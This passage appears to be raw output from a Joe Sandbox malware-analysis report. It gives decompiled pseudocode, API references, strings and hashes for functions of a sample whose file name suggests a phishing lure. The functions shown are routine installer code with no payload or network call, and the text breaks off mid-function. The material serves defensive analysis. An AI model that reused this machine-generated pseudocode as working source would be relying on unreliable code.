			E004066A5(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
				struct _ITEMIDLIST* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t44;
				WCHAR* _t45;
				signed char _t47;
				signed int _t48;
				short _t59;
				short _t61;
				short _t63;
				void* _t71;
				signed int _t77;
				signed int _t78;
				short _t81;
				short _t82;
				signed char _t84;
				signed int _t85;
				void* _t98;
				void* _t104;
				intOrPtr* _t105;
				void* _t107;
				WCHAR* _t108;
				void* _t110;

				_t107 = __esi;
				_t104 = __edi;
				_t71 = __ebx;
				_t44 = _a8;
				if(_t44 < 0) {
					_t44 =  *( *0x42923c - 4 + _t44 * 4);
				}
				_push(_t71);
				_push(_t107);
				_push(_t104);
				_t105 =  *0x42a298 + _t44 * 2;
				_t45 = 0x428200;
				_t108 = 0x428200;
				if(_a4 >= 0x428200 && _a4 - 0x428200 >> 1 < 0x800) {
					_t108 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				_t81 =  *_t105;
				_a8 = _t81;
				if(_t81 == 0) {
					L43:
					 *_t108 =  *_t108 & 0x00000000;
					if(_a4 == 0) {
						return _t45;
					}
					return E00406668(_a4, _t45);
				} else {
					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
						_t98 = 2;
						_t105 = _t105 + _t98;
						if(_t81 >= 4) {
							if(__eflags != 0) {
								 *_t108 = _t81;
								_t108 = _t108 + _t98;
								__eflags = _t108;
							} else {
								 *_t108 =  *_t105;
								_t108 = _t108 + _t98;
								_t105 = _t105 + _t98;
							}
							L42:
							_t82 =  *_t105;
							_a8 = _t82;
							if(_t82 != 0) {
								_t81 = _a8;
								continue;
							}
							goto L43;
						}
						_t84 =  *((intOrPtr*)(_t105 + 1));
						_t47 =  *_t105;
						_t48 = _t47 & 0x000000ff;
						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
						_t85 = _t84 & 0x000000ff;
						_v28 = _t48 | 0x00008000;
						_t77 = 2;
						_v16 = _t85;
						_t105 = _t105 + _t77;
						_v24 = _t48;
						_v20 = _t85 | 0x00008000;
						if(_a8 != _t77) {
							__eflags = _a8 - 3;
							if(_a8 != 3) {
								__eflags = _a8 - 1;
								if(__eflags == 0) {
									__eflags = (_t48 | 0xffffffff) - _v12;
									E004066A5(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
								}
								L38:
								_t108 =  &(_t108[lstrlenW(_t108)]);
								_t45 = 0x428200;
								goto L42;
							}
							_t78 = _v12;
							__eflags = _t78 - 0x1d;
							if(_t78 != 0x1d) {
								__eflags = (_t78 << 0xb) + 0x42b000;
								E00406668(_t108, (_t78 << 0xb) + 0x42b000);
							} else {
								E004065AF(_t108,  *0x42a268);
							}
							__eflags = _t78 + 0xffffffeb - 7;
							if(__eflags < 0) {
								L29:
								E004068EF(_t108);
							}
							goto L38;
						}
						if( *0x42a2e4 != 0) {
							_t77 = 4;
						}
						_t121 = _t48;
						if(_t48 >= 0) {
							__eflags = _t48 - 0x25;
							if(_t48 != 0x25) {
								__eflags = _t48 - 0x24;
								if(_t48 == 0x24) {
									GetWindowsDirectoryW(_t108, 0x400);
									_t77 = 0;
								}
								while(1) {
									__eflags = _t77;
									if(_t77 == 0) {
										goto L26;
									}
									_t59 =  *0x42a264;
									_t77 = _t77 - 1;
									__eflags = _t59;
									if(_t59 == 0) {
										L22:
										_t61 = SHGetSpecialFolderLocation( *0x42a268,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
										__eflags = _t61;
										if(_t61 != 0) {
											L24:
											 *_t108 =  *_t108 & 0x00000000;
											__eflags =  *_t108;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v8, _t108);
										_a8 = _t61;
										__imp__CoTaskMemFree(_v8);
										__eflags = _a8;
										if(_a8 != 0) {
											goto L26;
										}
										goto L24;
									}
									_t63 =  *_t59( *0x42a268,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
									__eflags = _t63;
									if(_t63 == 0) {
										goto L26;
									}
									goto L22;
								}
								goto L26;
							}
							GetSystemDirectoryW(_t108, 0x400);
							goto L26;
						} else {
							E00406536( *0x42a298, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x42a298 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
							if( *_t108 != 0) {
								L27:
								if(_v16 == 0x1a) {
									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L29;
							}
							E004066A5(_t77, _t105, _t108, _t108, _v16);
							L26:
							if( *_t108 == 0) {
								goto L29;
							}
							goto L27;
						}
					}
					goto L43;
				}
			}

0x004066a5
0x004066a5
0x004066a5
0x004066ab
0x004066b0
0x004066c1
0x004066c1
0x004066c9
0x004066ca
0x004066cb
0x004066cc
0x004066cf
0x004066d7
0x004066d9
0x004066ea
0x004066ed
0x004066ed
0x004066f1
0x004066f7
0x004066fa
0x004068d5
0x004068d5
0x004068e0
0x004068ec
0x004068ec
0x00000000
0x00406700
0x00406705
0x0040671a
0x0040671b
0x00406721
0x004068b3
0x004068c1
0x004068c4
0x004068c4
0x004068b5
0x004068b8
0x004068bb
0x004068bd
0x004068bd
0x004068c6
0x004068c6
0x004068cc
0x004068cf
0x00406702
0x00000000
0x00406702
0x00000000
0x004068cf
0x00406727
0x0040672a
0x00406739
0x00406740
0x0040674c
0x0040674f
0x00406752
0x00406753
0x00406758
0x0040675e
0x00406761
0x00406764
0x00406857
0x0040685c
0x0040688f
0x00406894
0x00406899
0x0040689e
0x0040689e
0x004068a3
0x004068a9
0x004068ac
0x00000000
0x004068ac
0x0040685e
0x00406861
0x00406864
0x00406879
0x00406880
0x00406866
0x0040686d
0x0040686d
0x00406888
0x0040688b
0x0040684f
0x00406850
0x00406850
0x00000000
0x0040688b
0x00406771
0x00406775
0x00406775
0x00406776
0x00406778
0x004067b5
0x004067b8
0x004067c8
0x004067cb
0x004067d3
0x004067d9
0x004067d9
0x00406834
0x00406834
0x00406836
0x00000000
0x00000000
0x004067dd
0x004067e2
0x004067e3
0x004067e5
0x004067fc
0x0040680a
0x00406810
0x00406812
0x00406830
0x00406830
0x00406830
0x00000000
0x00406830
0x00406818
0x00406821
0x00406824
0x0040682a
0x0040682e
0x00000000
0x00000000
0x00000000
0x0040682e
0x004067f6
0x004067f8
0x004067fa
0x00000000
0x00000000
0x00000000
0x004067fa
0x00000000
0x00406834
0x004067c0
0x00000000
0x0040677a
0x00406798
0x004067a1
0x0040683e
0x00406842
0x0040684a
0x0040684a
0x00000000
0x00406842
0x004067ab
0x00406838
0x0040683c
0x00000000
0x00000000
0x00000000
0x0040683c
0x00406778
0x00000000
0x00406705

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004067C0
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422728,?,00405701,00422728,00000000,00000000,00000000,00000000), ref: 004067D3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

Strings

Call, xrefs: 004066CF, 00406782, 00406789, 0040678D, 004067AA, 004067BF, 004067D2, 004067E7, 00406814, 00406849, 0040684F, 0040686C, 0040687F, 0040689D, 004068A3, 004068AC, 004068E2
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406844
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040678E

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-1230650788
Opcode ID: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
Instruction ID: 414c90a3e727c3679fd522760d05a71ccfd37451a898d0680c6fb4b4ce958948
Opcode Fuzzy Hash: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
Instruction Fuzzy Hash: CD61E172A02115EBDB20AF64CD40BAA37A5EF10314F22C13EE946B62D0DB3D49A1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040462B Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040462B(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x0040463d
0x004046f3
0x00000000
0x004046f3
0x0040464e
0x00404652
0x00000000
0x0040466c
0x0040466c
0x00404675
0x00000000
0x00000000
0x00404677
0x00404683
0x00404686
0x00404686
0x0040468c
0x00404692
0x00404692
0x0040469e
0x004046a4
0x004046ab
0x004046ae
0x004046b1
0x004046b3
0x004046b3
0x004046bb
0x004046c1
0x004046c1
0x004046cb
0x004046d0
0x004046d3
0x004046d8
0x004046db
0x004046db
0x004046eb
0x004046eb
0x00000000
0x004046ee

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404648
GetSysColor.USER32(00000000), ref: 00404686
SetTextColor.GDI32(?,00000000), ref: 00404692
SetBkMode.GDI32(?,?), ref: 0040469E
GetSysColor.USER32(?), ref: 004046B1
SetBkColor.GDI32(?,?), ref: 004046C1
DeleteObject.GDI32(?), ref: 004046DB
CreateBrushIndirect.GDI32(?), ref: 004046E5

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: e78b8cc9c8042372c9a7340b9b8aa9b23ded286a9f8ddc7240a2e2d8bd1f46c0
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: DE2197715007049FC7309F28D908B5BBBF8AF42714F008D2EE992A22E1D739D944DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D84(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x42a2e8 =  *0x42a2e8 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E004065C8(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E00406239( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E004061DB( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E004065AF( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026ec
0x004026ee
0x004026f1
0x004026f3
0x004026f6
0x004026fb
0x004026ff
0x00402702
0x00402705
0x00402c2a
0x00402c2d
0x0040270b
0x0040270b
0x00402712
0x00402714
0x00402714
0x0040271a
0x0040287e
0x0040287e
0x00402881
0x00402886
0x004015b6
0x0040292e
0x0040292e
0x00000000
0x00402720
0x00402721
0x0040272c
0x0040272f
0x0040273b
0x0040273f
0x004027d7
0x004027ef
0x004027ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402745
0x00402745
0x00402748
0x00402749
0x0040274c
0x00402751
0x00402758
0x00402760
0x00000000
0x00402766
0x00402766
0x0040276b
0x00000000
0x00402771
0x00402771
0x00402779
0x0040277c
0x0040277f
0x0040283a
0x00402841
0x00402785
0x0040278b
0x00402797
0x00402801
0x00402801
0x00402799
0x00402799
0x0040279c
0x0040279e
0x0040279e
0x0040279e
0x004027a1
0x004027a6
0x004027a9
0x00000000
0x00000000
0x004027ab
0x004027ae
0x004027bc
0x004027c2
0x004027d0
0x00000000
0x004027d2
0x00000000
0x004027d2
0x00000000
0x004027d0
0x0040279e
0x00402804
0x00402807
0x00000000
0x00402809
0x0040280e
0x0040284f
0x00402871
0x00402878
0x0040285d
0x0040285d
0x00402860
0x00402863
0x00402866
0x00402866
0x00000000
0x00402817
0x00402817
0x0040281a
0x0040281d
0x00402823
0x00402827
0x0040282a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040282a
0x0040280e
0x00402807
0x0040277f
0x0040276b
0x00402760
0x00000000
0x0040282c
0x0040282c
0x0040282f
0x00402838
0x00000000
0x0040272f
0x0040271a
0x00402c33
0x00402c39

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 00406239: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040624F

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction ID: 581cf2785626502de532f206a1de9da9d9b8d20bcd24121b7f7bd1133decb9a2
Opcode Fuzzy Hash: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction Fuzzy Hash: CE51FB75D00219AADF20EF95CA88AAEBB75FF04304F50417BE541B62D4D7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004068EF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004068EF(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405FAE(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405F64(L"*?|<>/\":", _t5))) == 0) {
							E00406113(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004068f1
0x004068fa
0x00406911
0x00406911
0x00406918
0x00406924
0x00406924
0x00406927
0x0040692a
0x0040692f
0x00406931
0x0040693a
0x0040693e
0x0040695b
0x00406963
0x00406963
0x00406968
0x0040696a
0x0040696d
0x00406972
0x00406973
0x00406977
0x00406977
0x00406978
0x0040697f
0x00406981
0x00406988
0x00000000
0x00000000
0x00406990
0x00406996
0x00000000
0x00000000
0x00000000
0x00406996
0x0040699b

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,767C3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
CharNextW.USER32(?,00000000,767C3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
CharPrevW.USER32(?,?,767C3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979

Strings

*?|<>/":, xrefs: 00406941
C:\Users\user\AppData\Local\Temp\, xrefs: 004068F0

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2977677972
Opcode ID: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction ID: d28fb8c2eefe6f61a155ceb01790bbf8b21f4710aa7989e54d8eeb8481a577c9
Opcode Fuzzy Hash: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction Fuzzy Hash: 2611089580061295DB303B18CC40BB762F8AF99B50F12403FE98A776C1E77C4C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 0040302E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040302E(intOrPtr _a4) {
				short _v132;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x420efc; // 0x0
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x420efc = 0;
					return _t15;
				}
				__eflags =  *0x420efc; // 0x0
				if(__eflags != 0) {
					return E00406A71(0);
				}
				_t6 = GetTickCount();
				__eflags = _t6 -  *0x42a26c;
				if(_t6 >  *0x42a26c) {
					__eflags =  *0x42a268;
					if( *0x42a268 == 0) {
						_t7 = CreateDialogParamW( *0x42a260, 0x6f, 0, E00402F93, 0);
						 *0x420efc = _t7;
						return ShowWindow(_t7, 5);
					}
					__eflags =  *0x42a314 & 0x00000001;
					if(( *0x42a314 & 0x00000001) != 0) {
						wsprintfW( &_v132, L"... %d%%", E00403012());
						return E004056CA(0,  &_v132);
					}
				}
				return _t6;
			}

0x0040303d
0x0040303f
0x00403046
0x00403049
0x00403049
0x0040304f
0x00000000
0x0040304f
0x00403057
0x0040305d
0x00000000
0x00403060
0x00403067
0x0040306d
0x00403073
0x00403075
0x0040307b
0x004030b9
0x004030c2
0x00000000
0x004030c7
0x0040307d
0x00403084
0x00403095
0x00000000
0x004030a3
0x00403084
0x004030cf

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00403049
GetTickCount.KERNEL32 ref: 00403067
wsprintfW.USER32 ref: 00403095

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

CreateDialogParamW.USER32(0000006F,00000000,00402F93,00000000), ref: 004030B9
ShowWindow.USER32(00000000,00000005), ref: 004030C7

Part of subcall function 00403012: MulDiv.KERNEL32(00000000,00000064,0000009E), ref: 00403027

Strings

... %d%%, xrefs: 0040308F

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: eb5829c7fffbc7bf65dde30d15e1f0a96a9438333430517d581b7dc81546266b
Instruction ID: 5af6bf9b0b70cf9307c1258d0e5a667b07be53d22b58a3258066d7aee54b172b
Opcode Fuzzy Hash: eb5829c7fffbc7bf65dde30d15e1f0a96a9438333430517d581b7dc81546266b
Instruction Fuzzy Hash: E8018E70553614DBC7317F60AE08A5A3EACAB00F06F54457AF841B21E9DAB84645CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00404F7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404F7F(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
